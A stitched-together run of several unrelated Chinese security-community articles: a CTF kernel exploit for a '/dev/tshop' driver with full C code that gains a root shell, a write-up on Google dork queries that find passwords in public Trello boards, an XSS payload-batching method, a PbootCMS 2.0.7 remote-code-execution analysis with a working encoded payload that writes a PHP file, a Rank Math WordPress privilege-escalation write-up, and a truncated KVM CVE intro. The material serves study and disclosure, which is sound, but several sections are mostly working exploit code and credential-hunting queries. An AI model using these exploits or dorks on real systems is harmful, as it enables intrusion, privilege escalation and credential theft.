#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <linux/prctl.h>
#include <stdint.h>
#define MALLOC 0x271A
#define FREE 0x2766
#define EDIT1 0x1A0A
#define EDIT2 0x22B8
pid_t pid;
void debug(){
getchar();
}
int main(int argc, char *argv[]){
int fd = open("/dev/tshop",0);
debug();
ioctl(fd,MALLOC,0);
ioctl(fd,MALLOC,1);
ioctl(fd,MALLOC,2);
ioctl(fd,MALLOC,3);
ioctl(fd,MALLOC,4);
ioctl(fd,MALLOC,5);
ioctl(fd,MALLOC,6);
ioctl(fd,MALLOC,7);
ioctl(fd,MALLOC,8);
ioctl(fd,MALLOC,9);
ioctl(fd,MALLOC,10);
ioctl(fd,MALLOC,11);
ioctl(fd,MALLOC,12);
ioctl(fd,MALLOC,13);
ioctl(fd,MALLOC,14);
ioctl(fd,MALLOC,15);
ioctl(fd,MALLOC,16);
ioctl(fd,MALLOC,17);
ioctl(fd,FREE,17);
ioctl(fd,FREE,16);
ioctl(fd,FREE,17);
pid=fork();
if(pid==0){
printf("[+] root?");
system("whoami");
}else{
ioctl(fd,MALLOC,16);
ioctl(fd,MALLOC,17);//cred==0
ioctl(fd,FREE,0);
ioctl(fd,FREE,1);
ioctl(fd,FREE,2);
ioctl(fd,FREE,3);
ioctl(fd,FREE,4);
ioctl(fd,FREE,5);
ioctl(fd,FREE,6);
ioctl(fd,FREE,7);
ioctl(fd,FREE,8);
ioctl(fd,FREE,9);
ioctl(fd,FREE,10);
ioctl(fd,FREE,11);
ioctl(fd,FREE,12);
ioctl(fd,FREE,13);
ioctl(fd,FREE,14);
ioctl(fd,FREE,15);
}
}
输出结果：
貌似已经提权成功了。这种方法确实奏效，但是当我多执行一些指令的时候内核又会panic 🙁
怎么办呢？
## Exploit 加固
由于panic的核心原因在于把 cred info 当作地址来申请堆块，那么在这个方向思考的话，其实可以通过一个free的写指针操作把 cred info
覆盖为一个有效的 chunk 地址，也就是free链表的尾 chunk 地址。
/*
* main.c
* Copyright (C) 2019 P1umer <[email protected]>
*/
// gcc exp.c -o exp --static -lpthread
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <linux/prctl.h>
#include <stdint.h>
#define MALLOC 0x271A
#define FREE 0x2766
#define EDIT1 0x1A0A
#define EDIT2 0x22B8
pid_t pid;
void debug(){
getchar();
}
int main(int argc, char *argv[]){
int fd = open("/dev/tshop",0);
debug();
ioctl(fd,MALLOC,0);
ioctl(fd,MALLOC,1);
ioctl(fd,MALLOC,2);
ioctl(fd,MALLOC,3);
ioctl(fd,MALLOC,4);
ioctl(fd,MALLOC,5);
ioctl(fd,MALLOC,6);
ioctl(fd,MALLOC,7);
ioctl(fd,MALLOC,8);
ioctl(fd,MALLOC,9);
ioctl(fd,MALLOC,10);
ioctl(fd,MALLOC,11);
ioctl(fd,MALLOC,12);
ioctl(fd,MALLOC,13);
ioctl(fd,MALLOC,14);
ioctl(fd,MALLOC,15);
ioctl(fd,MALLOC,16);
ioctl(fd,MALLOC,17);
ioctl(fd,FREE,17);
ioctl(fd,FREE,16);
ioctl(fd,FREE,17);
pid=fork();
if(pid==0){
sleep(1);
printf("[+] root");
system("whoami");
system("/bin/sh");
}else{
printf("[+] shell close");
ioctl(fd,FREE,17);
ioctl(fd,MALLOC,17);
ioctl(fd,MALLOC,16);
ioctl(fd,MALLOC,17);//cred==0
ioctl(fd,FREE,0);
ioctl(fd,FREE,1);
ioctl(fd,FREE,2);
ioctl(fd,FREE,3);
ioctl(fd,FREE,4);
ioctl(fd,FREE,5);
ioctl(fd,FREE,6);
ioctl(fd,FREE,7);
ioctl(fd,FREE,8);
ioctl(fd,FREE,9);
ioctl(fd,FREE,10);
ioctl(fd,FREE,11);
ioctl(fd,FREE,12);
ioctl(fd,FREE,13);
ioctl(fd,FREE,14);
ioctl(fd,FREE,15);
sleep(100);
}
}
主进程通过 UAF 再次把 chunk17 free 了一次，复写里面的Cred info 为 chunk16
的地址，然后再次申请堆块把链表恢复为原状态。同时在父进程中加了sleep函数提高稳定性。
这时候已经得到了稳定的 root shell 🙂
## 更多的思考
还有一种更为精简的解法, 从一开始没有考虑 doublefree ：
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define DEL 0x2766
#define SET_ZEGE 0x22B8 // 0x123456789ABCDEF0LL
#define ALLOC 0x271A
#define SET_JIGE 0x1A0A // 0xFEDCBA987654321LL
int main() {
int fd = open("/dev/tshop", 0);
size_t heap_addr , kernel_addr,mod_addr;
if (fd < 0) {
printf("[-] bad open /dev/tshopn");
exit(-1);
}
ioctl(fd, ALLOC, 0);
ioctl(fd, ALLOC, 1);
ioctl(fd, DEL, 0);
ioctl(fd, DEL, 1);
int pid=fork();
ioctl(fd, DEL, 1);
ioctl(fd, ALLOC, 3);
//getchar();
//getchar();
if (pid < 0) {
puts("[-] fork error!");
exit(0);
} else if (pid == 0) {
if (getuid() == 0) {
puts("[+] root");
system("cat /home/sunichi/flag");
system("id");
system("/bin/sh")
exit(0);
}
} else {
sleep(30);
puts("[+] parent exit");
}
}
具体思路：
* alloc并free掉两块内存，使他们接入slab cache链表的尾部，这里暂且给它编号为chunk0和chunk1
* 由于采用FIFO算法，此时slab缓存的单向链表最尾端的chunk为chunk1，而且第一个8字节存储的是指向chunk0的指针，当ALLOC新cache时，将优先取出chunk1分配给进程。
* fork一个子进程，这个子进程的cred结构体会复用此前我们free掉的内存块（chunk1）
此时，堆块中的cred如下：
* 我们的目标是将cred的id位置零，首先就需要再次拿到cred所在堆块（chunk1）
* free并立即进行alloc操作，chunk1就会挂到cache链上后再次被申请回来。
* 由于ALLOC操作伴随着所在堆块数据的初始化，于是我们不用再有多余的操作便能将cred结构体uid及gid位置零。此时子进程就已成功提权（root） | 社区文章 |
原文地址：<https://medium.freecodecamp.org/discovering-the-hidden-mine-of-credentials-and-sensitive-information-8e5ccfef2724>
几天前的4月25日，在研究的过程中，我发现很多个人和公司都把他们的敏感信息放在他们的公共Trello
boards上。例如未修复的错误和安全漏洞、他们的社交媒体账号、电子邮件账号、服务器和管理仪表盘的凭证— 你能想到的，都可以在他们的Public
Trello boards上找到，所有搜索引擎都在索引这些信息，任何人都可以很容易地找到它们。
### 我是如何发现这个的
我使用以下搜索参数来搜索运行Bug Bounty Programs的公司的Jira实例:
inurl:jira AND intitle:login AND inurl:[company_name]
> 注意：我使用了Google dork查询，有时也被称为dork。它是一个使用高级搜索运算符的搜索字符串，用来查找网上难以找到的信息。
我输入`Trello`替换掉`[company name]`。.Google展示了一些在Trello
Boards上的结果。他们的可见性设置为Public，并且他们向一些Jira实例显示了详细登陆信息。当时是UTC时间上午8点19分左右。
### 我非常震惊和惊讶
为什么会有这个问题呢？Trello是一个用于管理项目和个人任务的在线工具。它有用于管理这些项目和任务的Boards。用户可以将其boards的可见性设置为Private或者Public。
在发现这个漏洞后，我在想 — 为什么不检查其他安全问题，如电子邮件帐户凭证。
我继续修改我的查询参数，将重点放在包含Gmail帐号密码的Trello Boards上。
inurl:https://trello.com AND intext:@gmail.com AND intext:password
那么SSH和FTP呢？
inurl:https://trello.com AND intext:ftp AND intext:password
inurl:https://trello.com AND intext:ssh AND intext:password
### 我还发现了什么
在花了几个小时使用这个技巧之后，我有了更多惊人的发现，我一直在修改我的查询参数。
一些公司使用`Public` Trello boards来管理其应用程序和网站中发现的错误和安全漏洞。
人们也用Public Trello boards作为组织凭证的公共密码管理器。
一些例子包括服务器、CMS、CRM、商业电子邮件、社交媒体帐号、网站分析、Stripe、AdWords帐号等等。
这是另一个例子：
一个非政府组织分享他们的捐赠者管理软件(数据库)的登录细节，其中包含许多PII(个人身份信息)，以及捐赠者和财务记录等细节
在那之前，我没有专注于任何特定的公司或Bug赏金计划。
但是在我发现这件事之后的九个小时，我发现了近25家公司的联系方式，它们泄露了一些非常敏感的信息。所以我报告了他们。找到其中一些人的联系方式是一项无聊而富有挑战性的任务。
我在bug bounty hunters和一个信息安全网站的私人博客上发表了这篇文章。在发现这种Trello技术之后，我也发了推文，那里的人们和我一样惊讶。
然后人们开始告诉我，他们通过我分享的Trello技术发现了一些很酷的东西，比如商业邮件、Jira凭证和Bug Bounty的内部敏感信息。
在发现这种Trello技术近10个小时后，我开始专门测试运行Bug Bounty程序的公司。然后我开始使用这种查询参数检查一家著名的拼车公司。
inurl:https://trello.com AND intext:[company_name]
我立即找到了一个Trello board ，上面有一个雇员的商业电子邮件账户的登录信息，还有一个包含一些内部信息。
为了验证这一点，我联系了他们的安全团队。他们说，就在我之前，他们收到了一份关于董事会的报告，其中包括一名员工的电子邮件凭证，以及另一个董事会的一些内部信息。安全团队让我提交一份完整的报告给他们，因为这是一个新的发现。
不幸的是，我的报告被抄袭了。拼车公司后来发现他们已经收到了我发现的关于Trello board的报告。
在接下来的几天里，我又向另外15家公司报告了关于他们Trello
boards的问题，这些问题泄露了关于他们组织高度敏感的信息。有些是大公司，但很多都没有运行Bug Bounty项目。
然而，15家公司中有一家正在运行Bug Bounty计划，因此我通过它向他们提交报告。不幸的是，他们没有奖励我，因为这是一个他们目前不会奖励的问题。
更新 - 2018年5月18日：
就在前几天，我发现了许多包含政府敏感信息（包括登录详情！）的Public Trello Boards。惊人！
2018年8月17日更新：
最近几个月，我发现英国和加拿大政府共有50个Trello
Boards，其中包含内部机密信息和证书。[在这里](https://theintercept.com/2018/08/16/trello-board-uk-canada/)写了一篇关于它的详细文章。
2018年9月24日更新：
8月份，我发现了60个Public Trello Boards，一个Public
Jira和许多联合国Google文档，其中包含多个FTP服务器，社交媒体和电子邮件帐户的凭据，许多内部交流的文档。[在这里](https://theintercept.com/2018/09/24/united-nations-trello-jira-google-docs-passwords)写了一篇关于它的详细文章。
感谢您阅读我的故事。
如果你喜欢这篇文章，请给我一些鼓励
你可以[在Twitter上关注我](https://twitter.com/xKushagra/) | 社区文章 |
### 0x01 前言
xss的定义：
> 即Cross Site Scripting. 为了与"CSS"不混淆，故简称XSS.
xss的作用：
* 窃取cookie
* 伪造请求
* 钓鱼/蠕虫
xss的挖掘：
> 见缝就插
透过人工/机器挖掘到xss的方法不计其数，本文也仅研究其中一种。
力求 **简单** ， **暴力** ， **有效** 。
### 0x02 分析
反射型的xss各大厂，SRC均不接收，再聊xss也就只针对储存型的。
常见可存入输入字符串的地方：
> 邮件、留言、BBS、在线客服、投稿、新建xxx。
常规fuzz测出过滤了哪些字符后，找出没被过滤的字符来进行拼接，构造有效Payload于代码功底弱的人而言是件痛苦且消耗时间的事，那么能不能暴力的解决这个问题？
如果能提前把各种标签触发的xss，各种编码绕过的xss集中在一起来批量测试，那么，能！
基本思路：提前备好大量Payload，批量插入，观察反应，定位有效Payload。
以某邮箱为例：
先换编辑模式未切为Html。（避免被原有标签干扰）
根据弹窗提示，快捷定位到有效的Payload：
### 0x03 总结
这种方式挖掘存储型xss的速度应该胜过使用工具扫，人工绕过，缺陷也很明显，难以尝试真正新颖的绕过手法，Payload的也需经常更新，保证时效性。
项目地址：
https://github.com/TheKingOfDuck/easyXssPayload
### 0x04 彩蛋
B：
A：
T：
都是存储型 | 社区文章 |
### 一、概述
**PbootCMS** 是 **PbootCMS** 个人开发者的一款使用PHP语言开发的开源企业建站内容管理系统（CMS）。 **PbootCMS**
中存在后台安全漏洞，该漏洞源于该平台的 _message board_ 功能未对数据做有效验证，攻击者可通过该漏洞引发代码远程执行。以下产品及版本受到影响：
_PbootCMS 2.0.8_ （但从实际情况看来疑似 _2.0.7_ ） 版本。
### 二、分析
#### （一）搭建环境
[码云](https://gitee.com/hnaoyun/PbootCMS/tree/2.X)上找到release下载2.0.7，解压，修改PHPStudy的Apache网站根目录。
访问，
可能会遇到这样的错误，这是因为发布的源码默认采用sqlite数据库。改正此错误可以参考此[链接](https://www.pbhtml.com/95.html)，按照提示把数据库配置连接驱动修改为`pdo_sqlite`，打开数据库配置文件config/database.php，找到'type'这一行，
把sqlite改为pdo_sqlite。
如果需要启用Mysql版本，请导入目录下数据库文件/static/backup/sql/xxx.sql，
> mysql -u root -p
create database pb;
use pb;
source ...\PbootCMS-V2.0.8\static\backup\sql\xxx.sql
同时请注意使用最新日期名字的脚本文件，并修改config/database数据库连接文件信息。
改好后文件如下，
此时再访问即可正常访问。
#### （二）差异对比
##### 1.MessageController
在 _BeyondCompare_ 中比较 _2.0.8_ 和 _2.0.7_ 版本的差异（示意图中左为 _2.0.8_ 版本，右为 _2.0.7_
版本），差异有数处，经查看并不是都有价值，其中有意思的一处差异在apps\home\controller\MessageController.php被发现。
其中， _PBootCMS 2.0.8_ 的preg_replace_r()如下，
function preg_replace_r($search, $replace, $subject)
{
while (preg_match($search, $subject)) {
$subject = preg_replace($search, $replace, $subject);
}
return $subject;
}
我们写个demo对比一下新生代的preg_replace_r()和旧的单纯的str_replace()的差异，
<?php
function preg_replace_r($search, $replace, $subject)
{
while (preg_match($search, $subject)) {
$subject = preg_replace($search, $replace, $subject);
}
return $subject;
}
echo str_replace('pboot:if', '', 'pbootpboot:if:if');
echo "\n";
echo preg_replace_r('/pboot:if/i', '', 'pbootpboot:if:if');
echo "\n";
/*
输出
> php demo.php
pboot:if
*/
一作比较，不难理解这一处差异，preg_replace_r()是递归调用，目的是将pboot:if这个pattern在目标字符串中完全清除掉，可以猜测，PBoot2.0.7中，可以通过双写来绕过str_replace()的某种限制。
##### 2.ParserController
另外，apps\home\controller\ParserController.php中也有差异。
MessageController中提到了pboot:if，此处便有parserIfLabel()函数来解析该标签，并做了一定的安全检查，如果向下看，还能在此函数内部看到eval()，攻击者引发代码远程执行的点有可能在此。
#### （三）功能分析
##### 1.寻找路径
接下来我们先看看PbootCMS 2.0.7的MessageController.php，
最开始映入眼帘的是构造函数，
public function __construct()
{
$this->model = new ParserModel();
}
看来Message和Parser是有密切联系的，继续向下看，
这实现了新增留言的功能，结合[提示](https://www.anquanke.com/vul/id/2500549)，我们知道该漏洞源于该平台的message
board功能未对数据做有效验证，以此推之，漏洞点有可能在这里。在这个函数的后半部分我们可以看到刚才在对比中发现的差异之一`str_replace('pboot:if',
'', $field_data)`，
这里先解释一下，查看PbootCMS的文档可以得知，PbootCMS实现了多种标签功能，这里的pboot:if应该是{pboot:if}标签。且在ParserController的函数中我们看到，对{pboot:if}标签的解析使用了eval，若这个过程过滤不严，便有导致任意代码执行的风险，这一点与漏洞信息是一致的，暂时不需要再去全局搜索可能的任意代码执行的功能点。另外，这里既然有修补且有贴合的漏洞信息，就很大概率是有漏洞的，并且这里的str_replace()和ParserController中的一些安全检查一定是可以绕过的。至于具体怎么绕过，是后面要考虑的事情，现在的问题是理清这个攻击链。
前面我们看到，ParserController的parserIfLabel()函数中做了修改，且有 _eval()_
函数，我们大胆猜测parserIfLabel()便是任意代码执行的点（如果猜错了也没啥，换一个再猜便是doge）。那么问题来了，怎么才能走到parserIfLabel()呢。作为一个初学者，面对一个并不熟悉的CMS，在查看手册没发现什么信息的情况下，我选择一步步尝试，这里先Find
Usage找找思路。
再去看parserAfter()，
看到这里，继续往上一级看就意义不太大了，不如找一个点进去看看，
内容大体上都差不多，与parserAfter()同时出现的函数有很多，应该都是来解析标签辅助生成页面的，我们至少可以明白一点：基本上是个页面，都会用到parserAfter()来解析一下标签，生成一下页面，也就会调用到里面的parserIfLabel()，就比如我们访问主页，也能调用到parserIfLabel()，
接下来的问题就是，怎么将payload作为$content传给parserIfLabel()。我们可以推测出漏洞是留言产生的，所以想要把留言传给parserIfLabel()，就要在留言板里展示留言。
想到这里，我们先随便留言试一下，
在MessageController的index()中下断，
可以看到，我们的留言内容字符串`payload`作为$field_data在被处理（理论上放在留言框的其它字段也可以，但是考虑到手机号等字段可能要存入数据库，还是不要给自己找麻烦了）。下面走几步步出即可，
接下来会提示我们留言成功。我们在parserIfLabel()中下断，然后刷新一下页面，会得到如下的调用栈，
ParserController.php:2526, app\home\controller\ParserController->parserIfLabel()
ParserController.php:80, app\home\controller\ParserController->parserAfter()
IndexController.php:207, app\home\controller\IndexController->getAbout()
IndexController.php:120, app\home\controller\IndexController->_empty()
2:2, core\basic\Kernel::qcpgvcxefcqqqf0bba703f477b69cec30c28a8a4d10cc4()
2:2, core\basic\Kernel::run()
start.php:17, require()
index.php:23, {main}()
同时会有数据送入parserIfLabel()处理，大概是页面内容，不过只能找到下面这条默认留言，而没有我们的新增的留言。
当然，刷新完的页面中，也只有默认留言，
从这个调试过程中我们注意到两点：一是我们新的留言没有被传进来，二是这条默认留言由于不含有pattern，匹配不到，所以不会进入内部的for循环，更不会触发eval()。
这引导我们要注意两个问题，一是如何如何让留言被显示在留言板的这个页面上；二是如何构造payload实现任意代码执行，问题二要解决的问题也就是绕过安全限制的问题，放在下面详细讨论。
前面看到过这样，
我们猜测展示的留言是后台决定的，就像某些微信公众号文章里面，只有被公众号选为精选评论的评论才可以被展示出来一样（如果我搞错了请忽略这句话）。
于是我们访问admin.php，默认admin:123456，登录，查看留言，
可以看到我们的新留言，另外和系统的默认留言相比，差了一个显示的按钮，
点击新增的留言的按钮，令其可以展示在留言板页面上，效果如下。
所以这个漏洞的场景大概是这样的：恶意的留言绕过了安全检查，且被管理员无意之间展示了出来，当用户再次访问留言板页面时，Server端触发了任意代码执行。
##### 2.绕过限制
###### (1)写入IF标签
摸清了流程，我们该考虑构造payload来绕过安全检查，目前可见的有一处MessageController.php的str_replace()和一处ParserController.php的parserIfLabel()。
首先我们明确，我们的payload要伪装成`pboot:if`标签的样子。
对第一处MessageController.php的str_replace()的绕过较为容易，只需要双写`pboot:if`即可，重点在于构造既符合parserIfLabel($content)中pattern的要求，又能实现绕过其内部安全检查的payload。
parserIfLabel($content)中的$pattern是这样的`/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/`，所以我们的payload的形式可以是如下的样子：{pbootpboot:if:if(xxx)}yyy{/pbootpboot:if:if}。接下来我们先发一个这样的留言看看情况，MessageController的index()下断，
可见第三次进入for循环时，$field_data即为我们的留言内容，
可以看到，在经历了一次，str_replace()操作后，payload正好成了if标签的样子，继续向下走，
此时要将包含了payload的$data数组传给addMessage()，跟进去看看，
继续跟进insert，在经历了大量程序性操作之后，我们来到了insert()的最后一步，
可以看到最后在执行数据库操作之前，又进行了一次str_replace('pboot:if')操作，最终效果如下，
为了解决这个问题，我们要二次双写，写成{pbootpbootpboot:if:if:if(xxx)}yyy{/pbootpbootpboot:if:if:if}，效果如下。
接下来从管理员页面将这条留言设置为可展示，我们在parserIfLabel()中下断并刷新一下留言板。
可以看到，开标签{pbootpbootpboot:if:if:if(xxx)}中括号内部的字符xxx被收入进了$matches[1]。
继续向下走，
xxx正在接受安全检查，因为xxx只是个demo，顺利过关，最后顺利来到eval。
###### （2）绕过安全检查
从上一小节中我们可以看到，开标签{pbootpbootpboot:if:if:if(xxx)}中括号内部的字符xxx被收入进了$matches[1]并最终进入eval，接下来我们要考虑的就是如何让恶意的字符串进入eval。安全检查主要有两关：一是带有函数的条件语句进行安全校验，函数存在或匹配到完整的eval字符串，且$value不在白名单里则将$danger置为true，就无法进入后面的eval；
二是过滤了很多特殊字符串，导致很多常用的可用于恶意功能的函数不能用了，
这些字符串有
(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)
此处拦截的目标有写文件的函数、phpinfo和命令执行的函数。
别的不说，正常情况下，第一关就有些难度，但凡有个不在白名单里的函数，function_exists($value)都为true，!
in_array($value, $white_fun)也为true，这样一来$danger肯定为true了。
到此，如果没有别的办法，利用就算是失败了，不过我们有P神的[提示](https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html)（可能并不完全贴合）。在函数调用时，在括号前面增加控制字符（[\x00-\x20]）不会影响函数执行。
针对这里的正则匹配，如果我们构造`func\x01()`，应该是可以绕过检测的。
有如下demo，
<?php
$danger = 0;
$white_fun = array(
'date',
'in_array',
'explode',
'implode'
);
$matches = 'fopen'.chr(01).'(';
print_r($matches);
if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches, $matches2)) {
foreach ($matches2[1] as $value) {
if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
$danger = 1;
break;
}
}
}
echo "\n";
print_r($danger);
/*
fopen(
0
*/
证明用控制字符可行，我们绕过了第一关的匹配，接下来要想怎么过第二关，前面提到有一部分写文件的函数、phpinfo和命令执行的函数都在黑名单里，但还是有个别漏网之鱼，一方面`fputs(fopen("demo.php","w"),"xxx");`可以写文件，尽管`$_GET、$_POST、phpinfo`之类的字符串都被列入黑名单，但是由于有一个天然的eval，我们还是可以通过chr()拼接在eval时形成phpinfo等字符串的，这里就不写一句话了，只写个phpinfo；另一方面黑名单里有eval而没有assert，我们也可以选择assert("xxx")。
exp如下，
<?php
$danger = 0;
$white_fun = array(
'date',
'in_array',
'explode',
'implode'
);
$s0 = "phpinfo";
$s1 = "";
for ($i=0; $i<strlen($s0); $i++)
{
$s1 .= 'chr'.chr(01).'('.ord($s0[$i]).')';
if($i!=strlen($s0)-1)
$s1 .= ".";
}
$matches = 'fopen'.chr(01).'(';
$matches = 'fputs'.chr(01).'(fopen'.chr(01).'("info.php","w"),"<?php ".'.$s1.chr(01).'."();?>")';
$matches = '{pbootpbootpboot:if:if:if('.$matches.')}yyy{/pbootpbootpboot:if:if:if}';
// print_r($matches);
if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches, $matches2)) {
foreach ($matches2[1] as $value) {
if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
$danger = 1;
break;
}
}
}
echo "\n";
print_r($danger);
echo "\n";
echo urlencode($matches);
/*
0
%7Bpbootpbootpboot%3Aif%3Aif%3Aif%28fputs%01%28fopen%01%28%22info.php%22%2C%22w%22%29%2C%22%3C%3Fphp+%22.chr%01%28112%29.chr%01%28104%29.chr%01%28112%29.chr%01%28105%29.chr%01%28110%29.chr%01%28102%29.chr%01%28111%29%01.%22%28%29%3B%3F%3E%22%29%29%7Dyyy%7B%2Fpbootpbootpboot%3Aif%3Aif%3Aif%7D
*/
改包，将content字段改为payload即可，
然后在后台将此留言置为可显示，然后访问相应文件即可。
### 三、参考链接
解释一下为什么我猜测出问题的版本是 _2.0.7_ ：因为我在 _2.0.8_ 与 _2.0.9_ 的比对中没看出对 _2.0.8_
的留言板功能的明显改动（大部分改动是关于百度快速推送的），虽然 _2.0.9_ 的更新中明确写了如下一句话，
但是可能修复的不是这个漏洞，后面又对比了 _2.0.7_ 版本和 _2.0.8_
版本的差异，发现最有意义的差异之一便是2.0.8版本中采用了preg_replace_r()函数来彻底消除IF标签，这样的话，留言板应该就不会解析if标签，也就不会出现问题了。另外，查看了一下，Pbootcms的其它CVE的代码版本号都比较早了，直觉上讲与此漏洞没有关系，这都是猜测，不知对否，希望师傅们指正。当然这个分析漏洞的过程更有意义。
<https://www.cvedetails.com/cve/CVE-2020-23580/>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-23580>
<https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html> | 社区文章 |
## 前言
Rank Math是一款旨在帮助搜索引擎优化的WordPress插件，被称之为“WordPress SEO的瑞士军刀”。 Rank Math与Yoast
SEO、All in One SEO Pack下载量排WordPress
SEO工具下载量前三，但其功能方面完全不输Yoast付费版，几乎可以满足用户对SEO的所有需求。更重要的是，Rank Math是一款免费插件。
## 漏洞描述
近日有研究团队发现，Rank
Math插件中存在一个严重的漏洞，未经身份验证的攻击者可以利用该漏洞更新WordPress站点中的任意元数据。这将导致攻击者可以修改任意现有的文章、评论，跟或是将普通权限的用户提权为管理员，将管理员权限用户降级。
## 漏洞分析
首先我们来看一下Rank Math插件中的漏洞触发点
漏洞触发点位于\wp-content\plugins\seo-by-rank-math\includes\rest\class-admin.php，见下图:
通过上图可见，class-admin.php文件中的gutenberg_routes方法通过register_rest_route方法注册了一个自定义接口
当该自定义接口被调用后，$this->update_metadata方法将作为回调函数被调用。见下图红框处：
接下来看一下$this->update_metadata方法，仍然是位于\wp-content\plugins\seo-by-rank-math\includes\rest\class-admin.php中。见下图：
首先分析$this->update_metadata方法中传入的参数。见下图红框处
$this->update_metadata方法从请求的参数中获取objectID、objectType与meta三个参数，分别赋值给$object_id、$object_type与$meta
接着从$meta取出键值对，并与$object_id、$object_type参数一同传递给update_metadata方法。如下图：
我们具体分析一下上图中的update_metadata方法。update_metadata方法位于\wp-includes\meta.php文件中。见下图：
update_metadata方法是wordpress中用来操作元数据的操作函数，其作用是更新指定对象的元数据。
本次漏洞可以利用该update_metadata函数更新任意指定元数据。那不得不提一下wordpress元数据是什么
### 什么是元数据（Metadata）
元数据可描述为关于数据的数据。通常元数据有如下两种：
**1、结构化的元数据（Structural metadata）** 是有关数据结构的设计和说明，通常叫做“关于数据容器的数据（data about the
containers of data）；
**2、描述性的元数据（descriptive metadata）** ，关于应用程序数据和数据内容的单个实例。
我们首先看下wordpress开发手册上关于元数据的解释：
“元数据根据其定义，是有关信息的信息。
在WordPress的情况下，它是与帖子，用户，评论和条款相关的信息。”
这里的定义不是很好理解，关于元数据，《深入理解 WordPress 元数据
(Metadata)》一文中进行了很详细的说明，下面节选其中一段关于元数据的说明片段：
想要更深入的了解，可以阅读下这篇文章，原文链接如下
<https://www.wpzhiku.com/schedule-actions-wordpress-posts/>
简单来说，元数据就是数据的辅助表，对原始表单进行扩充。
在WordPress 中有四种主要的内容类型，分别存储在四个数据表中：
Posts、User、Comment、Link
前三个都有分配给它们的元数据，存放于它们各自的元数据表中。WordPress中唯一没有元数据的对象类型（objecttype）是Link。
WordPress使用3张表存储元数据：分别是wp_postmeta、wp_commentmeta与wp_usermeta
wp_postmeta 存储关于posts的元数据（包括附件，导航菜单项和修改）。
wp_commentmeta 存储关于评论（comments）的元数据。
wp_usermeta 存储关于用户的元数据。例如用户的level以及capabillities
介绍完元数据，我们来看下upadte_metadata函数
### upadte_metadata是什么
WordPress提供如下函数对元数据进行操作
我们随意跟进一个更新元数据的操作：update_user_meta()。如下图：
上图可见，update_user_meta函数底层调用的是update_metadata函数进行更新操作。
除了update_user_meta之外，update_post_meta以及update_comment_meta等更新操作底层调用的都是update_metadata。由此可见，update_metadata具有直接更新任意类型元数据的功能。
利用Rank
Math插件中注册的接口，未经身份验证的攻击者可以直接调用upadte_metadata，更新任意类型的元数据:例如wp_user_level以及wp_capabilities，这将导致攻击者可以将其订阅者权限的账号提权为管理员，或者将管理员的账号改为订阅者权限以限制管理员登陆。造成比较严重的危害。
## 漏洞利用
在分析完漏洞触发点以及漏洞之后，我们来看一下如何调用这个存在漏洞的自定义接口。首先我们查看下Wordpress中注册的接口信息。见下图：
上图红框处，即为存在漏洞的接口
可见，接口url为 _<http://127.0.0.1/wordpress/wp-json/rankmath/v1/updateMeta>_
,访问方式为POST请求
现在攻击者拥有一个目标WordPress账户，名为kumamon，权限为订阅者。见下图红框处：
此时我们查看一下wp_usermeta表可以发现，攻击者拥有的账户在该表中的属性如下图：
如上图所示，第一个红框处的wp_user_level属性值为0。第二个红框处的wp_capabillities属性值为a:1:{s:10:"subscriber";b:1;}
再反观我们管理员admin账号
可见wp_user_level属性值为10，而wp_capabillities属性值为a:1:{s:13:"administrator";b:1;}
因此我们可以通过调用接口，通过底层的update_metadata函数，将kumamon账号的wp_user_level与wp_capabillities属性值修改为与管理员账号相同值。
想要构造利用payload，我们仍需要分析下接口的传参情况。见下图：
上图红框处objectType参数很明显是user，meta参数是要修改的键值对，而objectID这里自然是对应的数据库表中的user_id字段了。但是攻击者账号kumamon对应的user_id是多少？如果不知道这个user_id，攻击者是无法精准的将自己控制的账号进行提权操作。
经过分析发现，在个人资料的页面中包含此信息
该页面查看源码，即可看见当前用户userid的值，见下图红框处，值为4
因此构造数据包如下：
当数据包发送完毕后，kumamon账号的权限随即变为管理员
## 漏洞修复
在1.0.41.2版本中，Rank Math已经对该漏洞进行修复。见下图：
Rank Math对存在漏洞的接口调用了get_object_permissions_check方法进行权限校验，从而避免了未经授权用户的攻击行为
get_object_permissions_check方法也是1.0.41.2版本中新引进的，具体如下：
底层采用了WordPress 的current_user_can方法进行权限校验 | 社区文章 |
# KVM虚拟化新型漏洞CVE-2015-6815技术分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 前言**
云计算业务目前已经触及到多个行业,无论是云存储,云音乐等生活中随处可见的业务,就连银行金融,支付信息等服务也都和云紧密相关。作为云服务的基础,虚拟化系统扮演着非常重要的角色,因为在云生态中主机的硬件多是由虚拟化系统模拟出来的。虚拟化系统中的安全漏洞将严重影响云业务的安全。
